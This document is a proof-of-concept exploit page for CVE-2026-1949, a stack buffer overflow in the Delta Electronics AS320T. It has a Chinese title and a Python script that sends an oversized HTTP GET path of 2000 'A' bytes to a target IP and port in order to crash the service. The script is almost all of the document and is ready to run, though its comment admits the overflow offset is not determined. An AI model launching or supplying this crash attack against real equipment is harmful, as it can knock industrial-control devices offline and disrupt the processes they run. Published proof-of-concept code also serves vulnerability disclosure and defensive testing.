CVE-2026-1949 Delta Electronics AS320T 栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-1949 - Delta Electronics AS320T Stack Buffer Overflow Description: This script sends a malicious GET request to trigger the buffer overflow. Usage: python3 poc.py <target_ip> <target_port> """ import socket import sys def send_exploit(ip, port): # Target configuration # Note: The exact offset needs to be determined through debugging. # This payload sends a large pattern to crash the service. crash_payload = b"A" * 2000 # Constructing the malicious HTTP GET request # The vulnerability resides in the GET/PUT request handler request = b"GET /" + crash_payload + b" HTTP/1.1\r\n" request += b"Host: " + ip.encode() + b"\r\n" request += b"User-Agent: PoC-Client\r\n" request += b"Connection: close\r\n\r\n" try: print(f"[*] Sending payload to {ip}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the service has crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <IP> <PORT>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)